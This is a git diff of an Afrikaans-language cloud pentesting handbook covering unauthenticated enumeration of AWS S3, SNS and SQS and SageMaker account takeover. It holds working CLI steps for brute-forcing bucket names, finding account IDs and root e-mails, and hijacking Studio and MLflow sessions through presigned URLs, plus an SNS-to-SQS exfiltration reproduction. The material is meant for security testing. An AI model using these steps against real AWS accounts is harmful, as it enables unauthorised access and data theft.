verband hou met enige AWS-rekening deur **te probeer om 'n e-pos toestemming te gee** oor 'n S3-bucket via ACLs. As dit nie 'n fout veroorsaak nie, beteken dit dat die e-pos 'n wortelgebruiker van 'n AWS-rekening is: -```python -s3_client.put_bucket_acl( -Bucket=bucket_name, -AccessControlPolicy={ -'Grants': [ -{ -'Grantee': { -'EmailAddress': 'some@emailtotest.com', -'Type': 'AmazonCustomerByEmail', -}, -'Permission': 'READ' -}, -], -'Owner': { -'DisplayName': 'Whatever', -'ID': 'c3d78ab5093a9ab8a5184de715d409c2ab5a0e2da66f08c2f6cc5c0bdeadbeef' -} -} -) -``` -## Verwysings - -- [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ) -- [https://cloudar.be/awsblog/finding-the-account-id-of-any-public-s3-bucket/](https://cloudar.be/awsblog/finding-the-account-id-of-any-public-s3-bucket/) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum/README.md new file mode 100644 index 000000000..dfd77cbdf --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum/README.md @@ -0,0 +1,194 @@ +# AWS - S3 Unauthenticated Enum + +{{#include ../../../../banners/hacktricks-training.md}} + +## S3 Openbare Buckets + +A bucket word as beskou as **“openbaar”** indien **enige gebruiker die inhoud kan lys** van die bucket, en **“privaat”** indien die inhoud van die bucket **slegs deur sekere gebruikers gelys of geskryf** kan word. + +Maatskappye kan buckets-permissies verkeerd gekonfigureer hê wat toegang gee óf tot alles óf tot enigiemand geauthentiseer in AWS in enige rekening (dus aan enigiemand). Neem kennis dat selfs met sulke miskonfigurasies sommige aksies dalk nie uitgevoer kan word nie aangesien buckets hul eie access control lists (ACLs) kan hê. + +**Leer oor AWS-S3 misconfigurasie hier:** [**http://flaws.cloud**](http://flaws.cloud/) **and** [**http://flaws2.cloud/**](http://flaws2.cloud) + +### AWS Buckets opspoor + +Verskillende metodes om te vind wanneer 'n webblad AWS gebruik om sekere resources te stoor: + +#### Enumeration & OSINT: + +- Gebruik die **wappalyzer** browser-plugin +- Gebruik burp (**spidering** the web) of deur handmatig deur die bladsy te navigeer — alle **resources** wat **geladen** word sal in die History gestoor word. +- **Kyk na resources** in domeine soos: + +``` +http://s3.amazonaws.com/[bucket_name]/ +http://[bucket_name].s3.amazonaws.com/ +``` + +- Kyk vir **CNAMES** aangesien `resources.domain.com` moontlik die CNAME `bucket.s3.amazonaws.com` het +- **[s3dns](https://github.com/olizimmermann/s3dns)** – 'n liggewig DNS-bediener wat passief cloud storage buckets (S3, GCP, Azure) identifiseer deur DNS-verkeer te ontleed. Dit ontdek CNAMEs, volg resolusiekettinge en identifiseer bucket-patrone, en bied 'n stil alternatief vir brute-force of API-gebaseerde ontdekking. Perfek vir recon en OSINT-werkvloeie. +- Kyk by [https://buckets.grayhatwarfare.com](https://buckets.grayhatwarfare.com/), 'n webwerf met reeds **ontdekte oop buckets**. +- Die **bucket name** en die **bucket domain name** moet **dieselfde** wees. +- **flaws.cloud** is op **IP** 52.92.181.107 en as jy daarheen gaan herlei dit jou na [https://aws.amazon.com/s3/](https://aws.amazon.com/s3/). Ook, `dig -x 52.92.181.107` gee `s3-website-us-west-2.amazonaws.com`. +- Om te verifieer dat dit 'n bucket is kan jy ook **besoek** [https://flaws.cloud.s3.amazonaws.com/](https://flaws.cloud.s3.amazonaws.com/). + +#### Brute-Force + +Jy kan buckets vind deur **brute-forcing name**s verwant aan die maatskappy wat jy pentesting: + +- [https://github.com/sa7mon/S3Scanner](https://github.com/sa7mon/S3Scanner) +- [https://github.com/clario-tech/s3-inspector](https://github.com/clario-tech/s3-inspector) +- [https://github.com/jordanpotti/AWSBucketDump](https://github.com/jordanpotti/AWSBucketDump) (Contains a list with potential bucket names) +- [https://github.com/fellchase/flumberboozle/tree/master/flumberbuckets](https://github.com/fellchase/flumberboozle/tree/master/flumberbuckets) +- [https://github.com/smaranchand/bucky](https://github.com/smaranchand/bucky) +- [https://github.com/tomdev/teh_s3_bucketeers](https://github.com/tomdev/teh_s3_bucketeers) +- [https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/s3](https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/s3) +- [https://github.com/Eilonh/s3crets_scanner](https://github.com/Eilonh/s3crets_scanner) +- [https://github.com/belane/CloudHunter](https://github.com/belane/CloudHunter) + +
# Generate a wordlist to create permutations
+curl -s https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt > /tmp/words-s3.txt.temp
+curl -s https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt >>/tmp/words-s3.txt.temp
+cat /tmp/words-s3.txt.temp | sort -u > /tmp/words-s3.txt
+
+# Generate a wordlist based on the domains and subdomains to test
+## Write those domains and subdomains in subdomains.txt
+cat subdomains.txt > /tmp/words-hosts-s3.txt
+cat subdomains.txt | tr "." "-" >> /tmp/words-hosts-s3.txt
+cat subdomains.txt | tr "." "\n" | sort -u >> /tmp/words-hosts-s3.txt
+
+# Create permutations based in a list with the domains and subdomains to attack
+goaltdns -l /tmp/words-hosts-s3.txt -w /tmp/words-s3.txt -o /tmp/final-words-s3.txt.temp
+## The previous tool is specialized increating permutations for subdomains, lets filter that list
+### Remove lines ending with "."
+cat /tmp/final-words-s3.txt.temp | grep -Ev "\.$" > /tmp/final-words-s3.txt.temp2
+### Create list without TLD
+cat /tmp/final-words-s3.txt.temp2 | sed -E 's/\.[a-zA-Z0-9]+$//' > /tmp/final-words-s3.txt.temp3
+### Create list without dots
+cat /tmp/final-words-s3.txt.temp3 | tr -d "." > /tmp/final-words-s3.txt.temp4http://phantom.s3.amazonaws.com/
+### Create list without hyphens
+cat /tmp/final-words-s3.txt.temp3 | tr "." "-" > /tmp/final-words-s3.txt.temp5
+
+## Generate the final wordlist
+cat /tmp/final-words-s3.txt.temp2 /tmp/final-words-s3.txt.temp3 /tmp/final-words-s3.txt.temp4 /tmp/final-words-s3.txt.temp5 | grep -v -- "-\." | awk '{print tolower($0)}' | sort -u > /tmp/final-words-s3.txt
+
+## Call s3scanner
+s3scanner --threads 100 scan --buckets-file /tmp/final-words-s3.txt  | grep bucket_exists
+
+ +#### Loot S3 Buckets + +Gegewe S3 oop buckets kan [**BucketLoot**](https://github.com/redhuntlabs/BucketLoot) outomaties **soek na interessante inligting**. + +### Vind die Regio + +Jy kan al die deur AWS ondersteunde regio's vind by [**https://docs.aws.amazon.com/general/latest/gr/s3.html**](https://docs.aws.amazon.com/general/latest/gr/s3.html) + +#### By DNS + +Jy kan die regio van 'n bucket kry met 'n **`dig`** en **`nslookup`** deur 'n **DNS-versoek op die ontdekte IP** uit te voer: +```bash +dig flaws.cloud +;; ANSWER SECTION: +flaws.cloud. 5 IN A 52.218.192.11 + +nslookup 52.218.192.11 +Non-authoritative answer: +11.192.218.52.in-addr.arpa name = s3-website-us-west-2.amazonaws.com. +``` +Kontroleer dat die opgeloste domeinnaam die woord "website" bevat. +Jy kan die statiese website besoek by: `flaws.cloud.s3-website-us-west-2.amazonaws.com` +of jy kan die bucket besoek by: `flaws.cloud.s3-us-west-2.amazonaws.com` + + + +#### Deur te probeer + +As jy probeer om toegang tot 'n bucket te kry, maar in die **domeinnaam 'n ander streek spesifiseer** (byvoorbeeld die bucket is in `bucket.s3.amazonaws.com` maar jy probeer toegang kry via `bucket.s3-website-us-west-2.amazonaws.com`), sal jy na die **korrekte ligging aangedui** word: + +![](<../../../images/image (106).png>) + +### Enumerering van die bucket + +Om die openheid van die bucket te toets kan 'n gebruiker net die URL in hul webblaaier invoer. 'n Private bucket sal reageer met "Access Denied". 'n Publieke bucket sal die eerste 1,000 objekke wat gestoor is lys. + +Oop vir almal: + +![](<../../../images/image (201).png>) + +Privaat: + +![](<../../../images/image (83).png>) + +Jy kan dit ook met die cli nagaan: +```bash +#Use --no-sign-request for check Everyones permissions +#Use --profile to indicate the AWS profile(keys) that youwant to use: Check for "Any Authenticated AWS User" permissions +#--recursive if you want list recursivelyls +#Opcionally you can select the region if you now it +aws s3 ls s3://flaws.cloud/ [--no-sign-request] [--profile ] [ --recursive] [--region us-west-2] +``` +As die bucket nie 'n domeinnaam het nie, wanneer jy dit probeer enumerate, **voer slegs die bucket name in** en nie die hele AWSs3-domein nie. Voorbeeld: `s3://` + +### Publieke URL-sjabloon +``` +https://{user_provided}.s3.amazonaws.com +``` +### Kry Account ID van openbare Bucket + +Dit is moontlik om 'n AWS-account te bepaal deur voordeel te trek uit die nuwe **`S3:ResourceAccount`** **Policy Condition Key**. Hierdie voorwaarde **beperk toegang gebaseer op die S3 bucket** waarin 'n account is (ander account-gebaseerde beleidsreëls beperk toegang gebaseer op die account waarin die requesting principal is).\ +En omdat die policy **wildcards** kan bevat, is dit moontlik om die accountnommer **net een syfer op 'n slag** te vind. + +Hierdie tool outomatiseer die proses: +```bash +# Installation +pipx install s3-account-search +pip install s3-account-search +# With a bucket +s3-account-search arn:aws:iam::123456789012:role/s3_read s3://my-bucket +# With an object +s3-account-search arn:aws:iam::123456789012:role/s3_read s3://my-bucket/path/to/object.ext +``` +Hierdie tegniek werk ook met API Gateway URLs, Lambda URLs, Data Exchange data sets en selfs om die waarde van tags te kry (as jy die tag-sleutel ken). Jy kan meer inligting vind in die [**original research**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) en die tool [**conditional-love**](https://github.com/plerionhq/conditional-love/) om hierdie uitbuiting te outomatiseer. + +### Bevestig dat 'n bucket aan 'n AWS-account behoort + +Soos verduidelik in [**this blog post**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/)**, as jy toestemming het om 'n bucket te lys**, is dit moontlik om 'n accountID te bevestig waaraan die bucket behoort deur 'n versoek te stuur soos: +```bash +curl -X GET "[bucketname].amazonaws.com/" \ +-H "x-amz-expected-bucket-owner: [correct-account-id]" + + +... +``` +As die fout “Access Denied” is, beteken dit dat die account ID verkeerd was. + +### Gebruik e-posadresse as root account enumeration + +Soos verduidelik in [**this blog post**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/), is dit moontlik om te kontroleer of 'n e-posadres aan enige AWS account verwant is deur **te probeer om 'n e-pos toestemming te verleen** oor 'n S3 bucket via ACLs. As dit nie 'n fout veroorsaak nie, beteken dit dat die e-pos 'n root user van 'n AWS account is: +```python +s3_client.put_bucket_acl( +Bucket=bucket_name, +AccessControlPolicy={ +'Grants': [ +{ +'Grantee': { +'EmailAddress': 'some@emailtotest.com', +'Type': 'AmazonCustomerByEmail', +}, +'Permission': 'READ' +}, +], +'Owner': { +'DisplayName': 'Whatever', +'ID': 'c3d78ab5093a9ab8a5184de715d409c2ab5a0e2da66f08c2f6cc5c0bdeadbeef' +} +} +) +``` +## Verwysings + +- [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ) +- [https://cloudar.be/awsblog/finding-the-account-id-of-any-public-s3-bucket/](https://cloudar.be/awsblog/finding-the-account-id-of-any-public-s3-bucket/) + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sagemaker-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sagemaker-unauthenticated-enum/README.md new file mode 100644 index 000000000..0230df50c --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sagemaker-unauthenticated-enum/README.md @@ -0,0 +1,107 @@ +# AWS - SageMaker Unauthorized Access + +{{#include ../../../../banners/hacktricks-training.md}} + +## SageMaker Studio - Account Takeover via CreatePresignedDomainUrl (Impersonate Any UserProfile) + +### Description +'n identiteit met toestemming om `sagemaker:CreatePresignedDomainUrl` aan te roep op 'n geteikende Studio `UserProfile` kan 'n aanmeld-URL genereer wat direk in SageMaker Studio as daardie profiel autentiseer. Dit verleen die aanvaller se blaaier 'n Studio-sessie wat die profiel se `ExecutionRole`-toestemmings erf en volle toegang tot die profiel se EFS-backed tuisgids en apps. Geen `iam:PassRole` of console-toegang is benodig nie. + +### Requirements +- 'n SageMaker Studio `Domain` en 'n geteikende `UserProfile` binne dit. +- Die aanvaller-prinsipaal het `sagemaker:CreatePresignedDomainUrl` nodig op die geteikende `UserProfile` (resource‑level) of `*`. + +Minimale beleidsvoorbeeld (beperk tot een `UserProfile`): +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Action": "sagemaker:CreatePresignedDomainUrl", +"Resource": "arn:aws:sagemaker:::user-profile//" +} +] +} +``` +### Misbruikstappe + +1) Enumerate a Studio Domain en UserProfiles wat jy kan target +```bash +DOM=$(aws sagemaker list-domains --query 'Domains[0].DomainId' --output text) +aws sagemaker list-user-profiles --domain-id-equals $DOM +TARGET_USER= +``` +2) Genereer 'n presigned URL (geldig ~5 minute volgens verstek) +```bash +aws sagemaker create-presigned-domain-url \ +--domain-id $DOM \ +--user-profile-name $TARGET_USER \ +--query AuthorizedUrl --output text +``` +3) Maak die teruggegewe URL in 'n blaaier oop om by Studio as die teikengebruiker aan te meld. In 'n Jupyter-terminal binne Studio verifieer die effektiewe identiteit: +```bash +aws sts get-caller-identity +``` +Aantekeninge: +- `--landing-uri` kan weggelaat word. Sommige waardes (bv. `app:JupyterLab:/lab`) kan verwerp word, afhangend van die Studio-flavor/weergawe; verstekwaardes herlei gewoonlik na die Studio-huis en daarna na Jupyter. +- Organisasiebeleid/VPC endpoint-beperkings kan steeds netwerktoegang blokkeer; token minting vereis nie console-aanmelding of `iam:PassRole` nie. + +### Impak +- Lateral movement and privilege escalation deur enige Studio `UserProfile` aan te neem waarvan die ARN toegelaat word, en sodoende sy `ExecutionRole` en lêerstelsel/apps te erf. + +### Bewyse (van 'n beheerde toets) +- Met slegs `sagemaker:CreatePresignedDomainUrl` op 'n teiken-`UserProfile`, het die aanvallerrol suksesvol 'n `AuthorizedUrl` teruggegee soos: +``` +https://studio-d-xxxxxxxxxxxx.studio..sagemaker.aws/auth?token=eyJhbGciOi... +``` +- A direct HTTP request responds with a redirect (HTTP 302) to Studio, confirming the URL is valid and active until expiry. + +## SageMaker MLflow Tracking Server - ATO via CreatePresignedMlflowTrackingServerUrl + +### Beskrywing +'n identiteit met toestemming om `sagemaker:CreatePresignedMlflowTrackingServerUrl` aan te roep vir 'n teiken SageMaker MLflow Tracking Server kan 'n eenmalige presigned URL genereer wat direk by die bestuurde MLflow UI vir daardie server verifieer. Dit gee dieselfde toegang as wat 'n wettige gebruiker sou hê tot die server (bekyk/skep eksperimente en runs, en aflaai/oplaai van artefakte in die server se S3-artefakbewaarplek) sonder konsoletogang of `iam:PassRole`. + +### Vereistes +- 'n SageMaker MLflow Tracking Server in die rekening/streek en die naam daarvan. +- Die aanvallende principal benodig `sagemaker:CreatePresignedMlflowTrackingServerUrl` op die teiken MLflow Tracking Server-hulpbron (of `*`). + +Minimale beleidsvoorbeeld (beperk tot een Tracking Server): +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Action": "sagemaker:CreatePresignedMlflowTrackingServerUrl", +"Resource": "arn:aws:sagemaker:::mlflow-tracking-server/" +} +] +} +``` +### Misbruikstappe + +1) Enumereer MLflow Tracking Servers wat jy kan teiken en kies een naam +```bash +aws sagemaker list-mlflow-tracking-servers \ +--query 'TrackingServerSummaries[].{Name:TrackingServerName,Status:TrackingServerStatus}' +TS_NAME= +``` +2) Genereer 'n vooraf-ondertekende MLflow UI URL (geldig vir 'n kort tyd) +```bash +aws sagemaker create-presigned-mlflow-tracking-server-url \ +--tracking-server-name "$TS_NAME" \ +--expires-in-seconds 300 \ +--session-expiration-duration-in-seconds 1800 \ +--query AuthorizedUrl --output text +``` +3) Open die teruggegewe URL in 'n blaaier om toegang tot die MLflow UI as 'n geauthentiseerde gebruiker vir daardie Tracking Server te kry. + +Aantekeninge: +- Die Tracking Server moet in 'n gereed‑toestand wees (bv., `Created/Active`). As dit nog `Creating` is, sal die oproep verwerp word. +- Die presigned URL is vir eenmalige gebruik en kortstondig; genereer 'n nuwe een wanneer nodig. + +### Impak +- Direkte toegang tot die bestuurde MLflow UI vir die geteikende Tracking Server, wat dit moontlik maak om eksperimente/runs te besigtig en te wysig, en om artefakte wat in die bediener se gekonfigureerde S3 artifact store gestoor is af te laai of op te laai, binne die toestemmings wat deur die bediener se konfigurasie opgelê word. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md deleted file mode 100644 index 13ca3373f..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md +++ /dev/null @@ -1,21 +0,0 @@ -# AWS - SNS Ongeauthentiseerde Enum - -{{#include ../../../banners/hacktricks-training.md}} - -## SNS - -Vir meer inligting oor SNS, kyk: - -{{#ref}} -../aws-services/aws-sns-enum.md -{{#endref}} - -### Oop vir Alle - -Wanneer jy 'n SNS-tema vanaf die webkonsol konfigureer, is dit moontlik om aan te dui dat **Enigeen kan publiseer en inteken** op die tema: - -
- -So as jy **die ARN van temas** binne die rekening **vind** (of potensiële name vir temas brute force), kan jy **kontroleer** of jy kan **publiseer** of **inteken** op **hulle**. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum/README.md new file mode 100644 index 000000000..ee6b0a26f --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum/README.md @@ -0,0 +1,55 @@ +# AWS - SNS Unauthenticated Enum + +{{#include ../../../../banners/hacktricks-training.md}} + +## SNS + +Vir meer inligting oor SNS sien: + +{{#ref}} +../../aws-services/aws-sns-enum.md +{{#endref}} + +### Oop vir almal + +Wanneer jy 'n SNS topic vanaf die web console konfigureer is dit moontlik om aan te dui dat **Everyone can publish and subscribe** to the topic: + +
+ +Dus, as jy die **find the ARN of topics** binne die account (of deur brute forcing van potensiële name vir topics) vind, kan jy **check** of jy kan **publish** of **subscribe** to **them**. + +Dit sal gelykstaande wees aan 'n SNS topic resource policy wat `sns:Subscribe` aan `*` (of aan eksterne rekeninge) toelaat; enige principal kan 'n subscription skep wat alle toekomstige topic-berigte na 'n SQS queue wat hulle besit lewer. Wanneer die queue-eienaar die subscription inisieer, is geen menslike bevestiging vereist vir SQS endpoints nie. + +
+Reproduksie (us-east-1) +```bash +REGION=us-east-1 +# Victim account (topic owner) +VICTIM_TOPIC_ARN=$(aws sns create-topic --name exfil-victim-topic-$(date +%s) --region $REGION --query TopicArn --output text) + +# Open the topic to anyone subscribing +cat > /tmp/topic-policy.json < /tmp/sqs-policy.json < + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md deleted file mode 100644 index 4ed9c5960..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md +++ /dev/null @@ -1,21 +0,0 @@ -# AWS - SQS Ongeauthentiseerde Enum - -{{#include ../../../banners/hacktricks-training.md}} - -## SQS - -Vir meer inligting oor SQS, kyk: - -{{#ref}} -../aws-services/aws-sqs-and-sns-enum.md -{{#endref}} - -### Publieke URL-sjabloon -``` -https://sqs.[region].amazonaws.com/[account-id]/{user_provided} -``` -### Kontroleer Toestemmings - -Dit is moontlik om 'n SQS-rybeleid verkeerd te konfigureer en toestemmings aan almal in AWS te gee om boodskappe te stuur en te ontvang, so as jy die ARN van rye kry, probeer of jy toegang daartoe kan kry. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum/README.md new file mode 100644 index 000000000..367a92833 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum/README.md @@ -0,0 +1,21 @@ +# AWS - SQS Unauthenticated Enum + +{{#include ../../../../banners/hacktricks-training.md}} + +## SQS + +Vir meer inligting oor SQS, sien: + +{{#ref}} +../../aws-services/aws-sqs-and-sns-enum.md +{{#endref}} + +### Publieke URL-sjabloon +``` +https://sqs.[region].amazonaws.com/[account-id]/{user_provided} +``` +### Kontroleer Toestemmings + +Dit is moontlik om 'n SQS queue policy verkeerd te konfigureer en toestemmings aan almal in AWS te gee om boodskappe te stuur en te ontvang. As jy dus die ARN van queues kry, probeer of jy daartoe toegang kan kry. + +{{#include ../../../../banners/hacktricks-training.md}}